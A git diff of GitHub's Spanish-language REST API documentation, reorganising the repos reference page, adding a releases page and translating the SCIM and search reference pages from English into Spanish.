diff --git a/translations/es-ES/content/rest/reference/pulls.md b/translations/es-ES/content/rest/reference/pulls.md
index 9d0005a41b..d8b22a8117 100644
--- a/translations/es-ES/content/rest/reference/pulls.md
+++ b/translations/es-ES/content/rest/reference/pulls.md
@@ -62,7 +62,7 @@ Request, grouped together with a state and optional body comment.
 
 ## Review comments
 
-Pull request review comments are comments on a portion of the unified diff made during a pull request review. Commit comments and issue comments are different from pull request review comments. You apply commit comments directly to a commit and you apply issue comments without referencing a portion of the unified diff. For more information, see "[Create a commit comment](/rest/reference/repos#create-a-commit-comment)" and "[Create an issue comment](/rest/reference/issues#create-an-issue-comment)."
+Pull request review comments are comments on a portion of the unified diff made during a pull request review. Commit comments and issue comments are different from pull request review comments. You apply commit comments directly to a commit and you apply issue comments without referencing a portion of the unified diff. For more information, see "[Create a commit comment](/rest/reference/commits#create-a-commit-comment)" and "[Create an issue comment](/rest/reference/issues#create-an-issue-comment)."
 
 ### Custom media types for pull request review comments
 
diff --git a/translations/es-ES/content/rest/reference/releases.md b/translations/es-ES/content/rest/reference/releases.md
new file mode 100644
index 0000000000..4370f3a1bd
--- /dev/null
+++ b/translations/es-ES/content/rest/reference/releases.md
@@ -0,0 +1,29 @@
+---
+title: Lanzamientos
+intro: 'The releases API allows you to create, modify, and delete releases and release assets.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% note %}
+
+**Nota:** La API de Lanzamientos reemplaza a la API de Descargas. Puedes recuperar el conteo de descargas y la URL de descarga del buscador desde las terminales en esta API, las cuales devuelven los lanzamientos y los activos de éstos.
+
+{% endnote %}
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Release assets
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'assets' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/es-ES/content/rest/reference/repos.md b/translations/es-ES/content/rest/reference/repos.md
index b740a1207d..89a55881b8 100644
--- a/translations/es-ES/content/rest/reference/repos.md
+++ b/translations/es-ES/content/rest/reference/repos.md
@@ -30,52 +30,6 @@ To help streamline your workflow, you can use the API to add autolinks to extern
 {% endfor %}
 {% endif %}
 
-## Branches
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'branches' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-## Collaborators
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'collaborators' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-## Comments
-
-### Custom media types for commit comments
-
-These are the supported media types for commit comments. You can read more
-about the use of media types in the API [here](/rest/overview/media-types).
-
-    application/vnd.github-commitcomment.raw+json
-    application/vnd.github-commitcomment.text+json
-    application/vnd.github-commitcomment.html+json
-    application/vnd.github-commitcomment.full+json
-
-For more information, see "[Custom media types](/rest/overview/media-types)."
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-## Commits
-
-The Repo Commits API supports listing, viewing, and comparing commits in a repository.
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'commits' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-{% ifversion fpt or ghec %}
-## Community
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'community' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-{% endif %}
 
 ## Contents
 
@@ -105,105 +59,12 @@ You can read more about the use of media types in the API [here](/rest/overview/
   {% if operation.subcategory == 'contents' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Deploy keys
-
-{% data reusables.repositories.deploy-keys %}
-
-Deploy keys can either be setup using the following API endpoints, or by using GitHub. To learn how to set deploy keys up in GitHub, see "[Managing deploy keys](/developers/overview/managing-deploy-keys)."
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-## Deployments
-
-Deployments are requests to deploy a specific ref (branch, SHA, tag). GitHub dispatches a [`deployment` event](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) that external services can listen for and act on when new deployments are created. Deployments enable developers and organizations to build loosely coupled tooling around deployments, without having to worry about the implementation details of delivering different types of applications (e.g., web, native).
-
-Deployment statuses allow external services to mark deployments with an `error`, `failure`, `pending`, `in_progress`, `queued`, or `success` state that systems listening to [`deployment_status` events](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status) can consume.
-
-Deployment statuses can also include an optional `description` and `log_url`, which are highly recommended because they make deployment statuses more useful. The `log_url` is the full URL to the deployment output, and
-the `description` is a high-level summary of what happened with the deployment.
-
-GitHub dispatches `deployment` and `deployment_status` events when new deployments and deployment statuses are created. These events allows third-party integrations to receive respond to deployment requests and update the status of a deployment as progress is made.
-
-Below is a simple sequence diagram for how these interactions would work.
-
-```
-+---------+             +--------+            +-----------+        +-------------+
-| Tooling |             | GitHub |            | 3rd Party |        | Your Server |
-+---------+             +--------+            +-----------+        +-------------+
-     |                      |                       |                     |
-     |  Create Deployment   |                       |                     |
-     |--------------------->|                       |                     |
-     |                      |                       |                     |
-     |  Deployment Created  |                       |                     |
-     |<---------------------|                       |                     |
-     |                      |                       |                     |
-     |                      |   Deployment Event    |                     |
-     |                      |---------------------->|                     |
-     |                      |                       |     SSH+Deploys     |
-     |                      |                       |-------------------->|
-     |                      |                       |                     |
-     |                      |   Deployment Status   |                     |
-     |                      |<----------------------|                     |
-     |                      |                       |                     |
-     |                      |                       |   Deploy Completed  |
-     |                      |                       |<--------------------|
-     |                      |                       |                     |
-     |                      |   Deployment Status   |                     |
-     |                      |<----------------------|                     |
-     |                      |                       |                     |
-```
-
-Keep in mind that GitHub is never actually accessing your servers. It's up to your third-party integration to interact with deployment events. Multiple systems can listen for deployment events, and it's up to each of those systems to decide whether they're responsible for pushing the code out to your servers, building native code, etc.
-
-Note that the `repo_deployment` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to deployments and deployment statuses **without** granting access to repository code, while the {% ifversion not ghae %}`public_repo` and{% endif %}`repo` scopes grant permission to code as well.
-
-
-### Inactive deployments
-
-When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. To avoid this, you can set `auto_inactive` to `false` when creating the deployment status.
-
-You can communicate that a transient environment no longer exists by setting its `state` to `inactive`.  Setting the `state` to `inactive` shows the deployment as `destroyed` in {% data variables.product.prodname_dotcom %} and removes access to it.
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'deployments' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## Environments
-
-The Environments API allows you to create, configure, and delete environments. For more information about environments, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." To manage environment secrets, see "[Secrets](/rest/reference/actions#secrets)."
-
-{% data reusables.gated-features.environments %}
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'environments' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-{% endif %}
-
 ## Forks
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'forks' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Invitations
-
-The Repository Invitations API allows users or external services to invite other users to collaborate on a repo. The invited users (or external services on behalf of invited users) can choose to accept or decline the invitations.
-
-Note that the `repo:invite` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted
-access to invitations **without** also granting access to repository code, while the
-`repo` scope grants permission to code as well as invitations.
-
-### Invite a user to a repository		
-
-Use the API endpoint for adding a collaborator. For more information, see "[Add a repository collaborator](/rest/reference/repos#add-a-repository-collaborator)."
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'invitations' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
 {% ifversion fpt or ghae or ghes > 3.2 or ghec %}
 
 ## Git LFS
@@ -214,181 +75,3 @@ Use the API endpoint for adding a collaborator. For more information, see "[Add
 
 {% endif %}
 
-## Merging
-
-The Repo Merging API supports merging branches in a repository. This accomplishes
-essentially the same thing as merging one branch into another in a local repository
-and then pushing to {% data variables.product.product_name %}. The benefit is that the merge is done on the server side and a local repository is not needed. This makes it more appropriate for automation and other tools where maintaining local repositories would be cumbersome and inefficient.
-
-The authenticated user will be the author of any merges done through this endpoint.
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'merging' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-## Pages
-
-The {% data variables.product.prodname_pages %} API retrieves information about your {% data variables.product.prodname_pages %} configuration, and the statuses of your builds. Information about the site and the builds can only be accessed by authenticated owners{% ifversion not ghae %}, even if the websites are public{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
-
-In {% data variables.product.prodname_pages %} API endpoints with a `status` key in their response, the value can be one of:
-* `null`: The site has yet to be built.
-* `queued`: The build has been requested but not yet begun.
-* `building`:The build is in progress.
-* `built`: The site has been built.
-* `errored`: Indicates an error occurred during the build.
-
-In {% data variables.product.prodname_pages %} API endpoints that  return GitHub Pages site information, the JSON responses include these fields:
-* `html_url`: The absolute URL (including scheme) of the rendered Pages site. For example, `https://username.github.io`.
-* `source`: An object that contains the source branch and directory for the rendered Pages site. This includes:
-   - `branch`: The repository branch used to publish your [site's source files](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). For example, _main_ or _gh-pages_.
-   - `path`: The repository directory from which the site publishes. Will be either `/` or `/docs`.
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'pages' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-## Releases
-
-{% note %}
-
-**Note:** The Releases API replaces the Downloads API. You can retrieve the download count and browser download URL from the endpoints in this API that return releases and release assets.
-
-{% endnote %}
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'releases' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-## Statistics
-
-The Repository Statistics API allows you to fetch the data that {% data variables.product.product_name %} uses for visualizing different
-types of repository activity.
-
-### A word about caching
-
-Computing repository statistics is an expensive operation, so we try to return cached
-data whenever possible.  If the data hasn't been cached when you query a repository's
-statistics, you'll receive a `202` response; a background job is also fired to
-start compiling these statistics. Give the job a few moments to complete, and
-then submit the request again. If the job has completed, that request will receive a
-`200` response with the statistics in the response body.
-
-Repository statistics are cached by the SHA of the repository's default branch; pushing to the default branch resets the statistics cache.
-
-### Statistics exclude some types of commits
-
-The statistics exposed by the API match the statistics shown by [different repository graphs](/github/visualizing-repository-data-with-graphs/about-repository-graphs).
-
-To summarize:
-- All statistics exclude merge commits.
-- Contributor statistics also exclude empty commits.
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'statistics' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-## Statuses
-
-The status API allows external services to mark commits with an `error`,
-`failure`, `pending`, or `success` state, which is then reflected in pull requests
-involving those commits.
-
-Statuses can also include an optional `description` and `target_url`, and
-we highly recommend providing them as they make statuses much more
-useful in the GitHub UI.
-
-As an example, one common use is for continuous integration
-services to mark commits as passing or failing builds using status.  The
-`target_url` would be the full URL to the build output, and the
-`description` would be the high level summary of what happened with the
-build.
-
-Statuses can include a `context` to indicate what service is providing that status.
-For example, you may have your continuous integration service push statuses with a context of `ci`, and a security audit tool push statuses with a context of `security`.  You can
-then use the [Get the combined status for a specific reference](/rest/reference/repos#get-the-combined-status-for-a-specific-reference) to retrieve the whole status for a commit.
-
-Note that the `repo:status` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to statuses **without** also granting access to repository code, while the
-`repo` scope grants permission to code as well as statuses.
-
-If you are developing a GitHub App and want to provide more detailed information about an external service, you may want to use the [Checks API](/rest/reference/checks).
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-{% ifversion fpt or ghec %}
-## Traffic
-
-For repositories that you have push access to, the traffic API provides access
-to the information provided in your repository graph. For more information, see "<a href="/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository" class="dotcom-only">Viewing traffic to a repository</a>."
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'traffic' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-{% endif %}
-
-## Webhooks
-
-Repository webhooks allow you to receive HTTP `POST` payloads whenever certain events happen in a repository. {% data reusables.webhooks.webhooks-rest-api-links %}
-
-If you would like to set up a single webhook to receive events from all of your organization's repositories, see our API documentation for [Organization Webhooks](/rest/reference/orgs#webhooks).
-
-In addition to the REST API, {% data variables.product.prodname_dotcom %} can also serve as a [PubSubHubbub](#pubsubhubbub) hub for repositories.
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'webhooks' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-### Receiving Webhooks
-
-In order for {% data variables.product.product_name %} to send webhook payloads, your server needs to be accessible from the Internet. We also highly suggest using SSL so that we can send encrypted payloads over HTTPS.
-
-#### Webhook headers
-
-{% data variables.product.product_name %} will send along several HTTP headers to differentiate between event types and payload identifiers. See [webhook headers](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers) for details.
-
-### PubSubHubbub
-
-GitHub can also serve as a [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) hub for all repositories. PSHB is a simple publish/subscribe protocol that lets servers register to receive updates when a topic is updated. The updates are sent with an HTTP POST request to a callback URL.
-Topic URLs for a GitHub repository's pushes are in this format:
-
-`https://github.com/{owner}/{repo}/events/{event}`
-
-The event can be any available webhook event. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)."
-
-#### Response format
-
-The default format is what [existing post-receive hooks should expect](/post-receive-hooks/): A JSON body sent as the `payload` parameter in a POST.  You can also specify to receive the raw JSON body with either an `Accept` header, or a `.json` extension.
-
-    Accept: application/json
-    https://github.com/{owner}/{repo}/events/push.json
-
-#### Callback URLs
-
-Callback URLs can use the `http://` protocol.
-
-    # Send updates to postbin.org
-    http://postbin.org/123
-
-#### Subscribing
-
-The GitHub PubSubHubbub endpoint is: `{% data variables.product.api_url_code %}/hub`. A successful request with curl looks like:
-
-``` shell
-curl -u "user" -i \
-  {% data variables.product.api_url_pre %}/hub \
-  -F "hub.mode=subscribe" \
-  -F "hub.topic=https://github.com/{owner}/{repo}/events/push" \
-  -F "hub.callback=http://postbin.org/123"
-```
-
-PubSubHubbub requests can be sent multiple times. If the hook already exists, it will be modified according to the request.
-
-##### Parameters
-
-Name | Type | Description
------|------|--------------
-``hub.mode``|`string` | **Required**. Either `subscribe` or `unsubscribe`.
-``hub.topic``|`string` |**Required**.  The URI of the GitHub repository to subscribe to.  The path must be in the format of `/{owner}/{repo}/events/{event}`.
-``hub.callback``|`string` | The URI to receive the updates to the topic.
-``hub.secret``|`string` | A shared secret key that generates a hash signature of the outgoing body content.  You can verify a push came from GitHub by comparing the raw request body with the contents of the {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` or `X-Hub-Signature-256` headers{% elsif ghes < 3.0 %}`X-Hub-Signature` header{% elsif ghae %}`X-Hub-Signature-256` header{% endif %}. You can see [the PubSubHubbub documentation](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify) for more details.
diff --git a/translations/es-ES/content/rest/reference/scim.md b/translations/es-ES/content/rest/reference/scim.md
index 4a0c019786..610d0716c9 100644
--- a/translations/es-ES/content/rest/reference/scim.md
+++ b/translations/es-ES/content/rest/reference/scim.md
@@ -1,6 +1,6 @@
 ---
 title: SCIM
-intro: 'You can control and manage your {% data variables.product.product_name %} organization members access using SCIM API.'
+intro: 'Puedes controlar y administrar el accesp de tus miembros de la organización de {% data variables.product.product_name %} utilizando la API de SCIM.'
 redirect_from:
   - /v3/scim
 versions:
@@ -11,41 +11,41 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-### SCIM Provisioning for Organizations
+### Aprovisionamiento de SCIM para las Organizaciones
 
-The SCIM API is used by SCIM-enabled Identity Providers (IdPs) to automate provisioning of {% data variables.product.product_name %} organization membership. The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is based on version 2.0 of the [SCIM standard](http://www.simplecloud.info/). The {% data variables.product.product_name %} SCIM endpoint that an IdP should use is: `{% data variables.product.api_url_code %}/scim/v2/organizations/{org}/`.
+Los proveedores de identidad (IdP) habilitados para SCIM utilizan la API de SCIM para automatizar el aprovisionamiento de la membrecía de las organizaciones de {% data variables.product.product_name %}. La API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} se basa en la versión 2.0 del [SCIM estándar](http://www.simplecloud.info/). La terminal de SCIM de {% data variables.product.product_name %} que deben utilizar los IdP es: `{% data variables.product.api_url_code %}/scim/v2/organizations/{org}/`.
 
 {% note %}
 
-**Notes:** 
-  - The SCIM API is available only to organizations on [{% data variables.product.prodname_ghe_cloud %}](/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts) with [SAML SSO](/rest/overview/other-authentication-methods#authenticating-for-saml-sso) enabled. {% data reusables.scim.enterprise-account-scim %} For more information about SCIM, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
-  - The SCIM API cannot be used with {% data variables.product.prodname_emus %}.
+**Notas:**
+  - La API de SCIM se encuentra disponible únicamente para las organizaciones de [{% data variables.product.prodname_ghe_cloud %}](/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts) que cuentan con el [SSO de SAML](/rest/overview/other-authentication-methods#authenticating-for-saml-sso) habilitado. {% data reusables.scim.enterprise-account-scim %} Para obtener más información sobre SCIM, consulta la sección "[Acerca de SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)".
+  - La API de SCIM no puede utilizarse con {% data variables.product.prodname_emus %}.
 
 {% endnote %}
 
-### Authenticating calls to the SCIM API
+### Autenticar las llamadas a la API de SCIM
 
-You must authenticate as an owner of a {% data variables.product.product_name %} organization to use its SCIM API. The API expects an [OAuth 2.0 Bearer](/developers/apps/authenticating-with-github-apps) token to be included in the `Authorization` header. You may also use a personal access token, but you must first [authorize it for use with your SAML SSO organization](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on).
+Debes autenticarte como un propietario de una organización de {% data variables.product.product_name %} para utilizar la API de SCIM. La API espera que se incluya un token [Portador de OAuth 2.0](/developers/apps/authenticating-with-github-apps) en el encabezado `Authorization`. También puedes utilizar un token de acceso personal, pero primero debes [autorizarlo para su uso con tu orgnización que cuenta con el SSO de SAML](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on).
 
-### Mapping of SAML and SCIM data
+### Mapeo de los datos de SAML y de SCIM
 
-The SAML IdP and the SCIM client must use matching `NameID` and `userName` values for each user. This allows a user authenticating through SAML to be linked to their provisioned SCIM identity.
+El IdP de SAML y el cliente de SCIM deben utilizar valores coincidentes de `NameID` y `userName` para cada usuario. Esto le permite al usuario que se autentica mediante SAML el poder enlazarse con su identidad aprovisionada de SCIM.
 
-### Supported SCIM User attributes
+### Atributos de Usuario de SCIM compatibles
 
-Name | Type | Description
------|------|--------------
-`userName`|`string` | The username for the user.
-`name.givenName`|`string` | The first name of the user.
-`name.lastName`|`string` | The last name of the user.
-`emails` | `array` | List of user emails.
-`externalId` | `string` | This identifier is generated by the SAML provider, and is used as a unique ID by the SAML provider to match against a GitHub user. You can find the `externalID` for a user either at the SAML provider, or using the [List SCIM provisioned identities](#list-scim-provisioned-identities) endpoint and filtering on other known attributes, such as a user's GitHub username or email address.
-`id` | `string` | Identifier generated by the GitHub SCIM endpoint.
-`active` | `boolean` | Used to indicate whether the identity is active (true) or should be deprovisioned (false).
+| Nombre           | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| ---------------- | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `userName`       | `secuencia` | El nombre de usuario para el usuario.                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| `name.givenName` | `secuencia` | El primer nombre del usuario.                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| `name.lastName`  | `secuencia` | El apellido del usuario.                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| `emails`         | `arreglo`   | Lista de correos electrónicos del usuario.                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| `externalId`     | `secuencia` | El proveedor de SAML genera este identificador, el cual utiliza como una ID única para empatarla contra un usuario de GitHub. Puedes encontrar la `externalID` de un usuario ya sea con el proveedor de SAML, o utilizando la terminal de [Listar las identidades aprovisionadas de SCIM](#list-scim-provisioned-identities) y filtrando otros atributos conocidos, tales como el nombre de usuario de GitHub o la dirección de correo electrónico de un usuario. |
+| `id`             | `secuencia` | Identificador que genera la terminal de SCIM de GitHub.                                                                                                                                                                                                                                                                                                                                                                                                           |
+| `active`         | `boolean`   | Se utiliza para indicar si la identidad está activa (true) o si debe desaprovisionarse (false).                                                                                                                                                                                                                                                                                                                                                                   |
 
 {% note %}
 
-**Note:** Endpoint URLs for the SCIM API are case sensitive. For example, the first letter in the `Users` endpoint must be capitalized:
+**Nota:** Las URL de terminal para la API de SCIM distinguen entre mayúsculas y minúsculas. Por ejemplo, la primera letra en la terminal `Users` debe ponerse en mayúscula:
 
 ```shell
 GET /scim/v2/organizations/{org}/Users/{scim_user_id}
diff --git a/translations/es-ES/content/rest/reference/search.md b/translations/es-ES/content/rest/reference/search.md
index 99d4a14e4f..0c6b1dd0e0 100644
--- a/translations/es-ES/content/rest/reference/search.md
+++ b/translations/es-ES/content/rest/reference/search.md
@@ -1,6 +1,6 @@
 ---
-title: Search
-intro: 'The {% data variables.product.product_name %} Search API lets you to search for the specific item efficiently.'
+title: Buscar
+intro: 'La API de búsqueda de {% data variables.product.product_name %} te permite buscar el elemento específico eficientemente.'
 redirect_from:
   - /v3/search
 versions:
@@ -13,125 +13,109 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The Search API helps you search for the specific item you want to find. For example, you can find a user or a specific file in a repository. Think of it the way you think of performing a search on Google. It's designed to help you find the one result you're looking for (or maybe the few results you're looking for). Just like searching on Google, you sometimes want to see a few pages of search results so that you can find the item that best meets your needs. To satisfy that need, the {% data variables.product.product_name %} Search API provides **up to 1,000 results for each search**.
+La API de Búsqueda te ayuda a buscar el elemento específico que quieres encontrar. Por ejemplo, puedes buscar un usuario o un archivo específico en el repositorio. Tómalo como el simil de realizar una búsqueda en Google. Se diseñó para ayudarte a encontrar el resultado exacto que estás buscando (o tal vez algunos de los resultados que buscas). Tal como la búsqueda en Google, a veces quieres ver algunas páginas de los resultados de búsqueda para que puedas encontrar el elemento que mejor satisfaga tus necesidades. Para satisfacer esta necesidad, la API de Búsqueda de {% data variables.product.product_name %} proporciona **hasta 1,000 resultados por búsqueda**.
 
-You can narrow your search using queries. To learn more about the search query syntax, see "[Constructing a search query](/rest/reference/search#constructing-a-search-query)."
+Puedes delimitar tu búsqueda utilizando consultas. Para aprender más sobre la sintaxis de las consultas de búsqueda, dirígete a "[Construir una consulta de búsqueda](/rest/reference/search#constructing-a-search-query)".
 
-### Ranking search results
+### Clasificar los resultados de la búsqueda
 
-Unless another sort option is provided as a query parameter, results are sorted by best match in descending order. Multiple factors are combined to boost the most relevant item to the top of the result list.
+A menos de que se proporcione algún otro tipo de opción como parámetro de consulta, los resultados se clasificarán de acuerdo a la exactitud de la coincidencia en orden descendente. Varios factores se combinan para impulsar el elemento más relevante hasta arriba de la lista de resultados.
 
-### Rate limit
+### Limite de tasa
 
-The Search API has a custom rate limit. For requests using [Basic
-Authentication](/rest#authentication), [OAuth](/rest#authentication), or [client
-ID and secret](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications), you can make up to
-30 requests per minute. For unauthenticated requests, the rate limit allows you
-to make up to 10 requests per minute.
+La API de Búsqueda tiene un límite de tasa personalizado. Para las solicitudes que utilizan [Autenticación Básica](/rest#authentication), [OAuth](/rest#authentication), o [secreto e ID de cliente](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications), puedes hacer hasta 30 solicitudes por minuto. Para las solicitudes sin autenticar, el límite de tasa te permite hacer hasta 10 por minuto.
 
 {% data reusables.enterprise.rate_limit %}
 
-See the [rate limit documentation](/rest/reference/rate-limit) for details on
-determining your current rate limit status.
+Consulta la [documentación del límite de tasa](/rest/reference/rate-limit) para obtener más detalles sobre cómo determinar tu estado de límite de tasa actual.
 
-### Constructing a search query
+### Construir una consulta de búsqueda
 
-Each endpoint in the Search API uses [query parameters](https://en.wikipedia.org/wiki/Query_string) to perform searches on {% data variables.product.product_name %}. See the individual endpoint in the Search API for an example that includes the endpoint and query parameters.
+Cada terminal en la API de búsqueda utiliza [parámetros de búsqueda](https://en.wikipedia.org/wiki/Query_string) para realizar búsqeudas en {% data variables.product.product_name %}. Observa la terminal individual an la API de Búsqueda para encontrar un ejemplo que incluye los parámetros de consulta y de terminal.
 
-A query can contain any combination of search qualifiers supported on {% data variables.product.product_name %}. The format of the search query is:
+Una consulta puede contener cualquier combinación de calificadores de búsqueda que sea compatible con {% data variables.product.product_name %}. El formato de esta consulta de búsqueda es:
 
 ```
 SEARCH_KEYWORD_1 SEARCH_KEYWORD_N QUALIFIER_1 QUALIFIER_N
 ```
 
-For example, if you wanted to search for all _repositories_ owned by `defunkt` that
-contained the word `GitHub` and `Octocat` in the README file, you would use the
-following query with the _search repositories_ endpoint:
+Por ejemplo, si quisieras buscar todos los _repositorios_ que pertenecen a `defunkt` y que contienen la palabra `GitHub` y `Octocat` en el archivo de README, utilizarías la siguiente consulta con la terminal de _buscar repositorios_:
 
 ```
 GitHub Octocat in:readme user:defunkt
 ```
 
-**Note:** Be sure to use your language's preferred HTML-encoder to construct your query strings. For example:
+**Nota:** Asegúrate de utilizar el codificador HTML preferido de tu lenguaje de programación para construir tus cadenas de consulta. Por ejemplo:
 ```javascript
 // JavaScript
 const queryString = 'q=' + encodeURIComponent('GitHub Octocat in:readme user:defunkt');
 ```
 
-See "[Searching on GitHub](/articles/searching-on-github/)"
-for a complete list of available qualifiers, their format, and an example of
-how to use them. For information about how to use operators to match specific
-quantities, dates, or to exclude results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)."
+Consulta la sección "[Buscar en GitHub](/search-github/searching-on-github)" para encontrar una lista completa de calificadores disponibles, su formato, y ejemplos de cómo utilizarlos. Para obtener más información acerca de cómo utilizar los operadores para que coincidan con cantidades y fechas específicas o para que excluyan resultados, consulta la sección "[Entender la sintaxis de búsqueda](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)".
 
-### Limitations on query length
+### Limitaciones sobre la longitud de la consulta
 
-The Search API does not support queries that:
-- are longer than 256 characters (not including operators or qualifiers).
-- have more than five `AND`, `OR`, or `NOT` operators.
+La API de búsqueda no es compatible con consultas que:
+- sean mayores a 256 caracteres (sin incluir los operadores o calificativos).
+- tengan más de cinco operadores de `AND`, `OR`, o `NOT`.
 
-These search queries will return a "Validation failed" error message.
+Estas consultas de búsqueda devolverán un mensaje de error de "Validation failed".
 
-### Timeouts and incomplete results
+### Tiempos excedidos y resultados incompletos
 
-To keep the Search API fast for everyone, we limit how long any individual query
-can run. For queries that [exceed the time limit](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/),
-the API returns the matches that were already found prior to the timeout, and
-the response has the `incomplete_results` property set to `true`.
+Para que la API de Búsqueda se mantenga rápida para todos, limitamos el tiempo que puede jecutarse cualquier consulta específica. Para las consultas que [exceden el límite de tiempo](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/), la API devuelve las coincidencias que ya se habían encontrado antes de exceder el tiempo, y la respuesta tiene la propiedad `incomplete_results` como `true`.
 
-Reaching a timeout does not necessarily mean that search results are incomplete.
-More results might have been found, but also might not.
+Llegar a una interrupción no necesariamente significa que los resultados de búsqueda estén incompletos. Puede que se hayan encontrado más resultados, pero también puede que no.
 
-### Access errors or missing search results
+### Errores de acceso o resultados de búsqueda faltantes
 
-You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. For example, your search will fail if your query includes `repo:`, `user:`, or `org:` qualifiers that request resources that you don't have access to when you sign in on {% data variables.product.prodname_dotcom %}.
+Necesitas autenticarte con éxito y tener acceso a los repositorios en tus consultas de búsqueda, de otro modo, verás un error `422 Unprocessable Entry` con un mensaje de "Validation Failed". Por ejemplo, tu búsqueda fallará si tu consulta incluye los calificadores `repo:`, `user:`, o `org:` que solicitan los recursos a los cuales no tienes acceso cuando inicias sesión en {% data variables.product.prodname_dotcom %}.
 
-When your search query requests multiple resources, the response will only contain the resources that you have access to and will **not** provide an error message listing the resources that were not returned.
+Cuando tu consulta de búsqueda solicita recursos múltiples, la respuesta solo contendrá aquellos a los que tengas acceso y **no** proporcionará un mensaje de error que liste los recursos que no se devolvieron.
 
-For example, if your search query searches for the `octocat/test` and `codertocat/test` repositories, but you only have access to `octocat/test`, your response will show search results for `octocat/test` and nothing for `codertocat/test`. This behavior mimics how search works on {% data variables.product.prodname_dotcom %}.
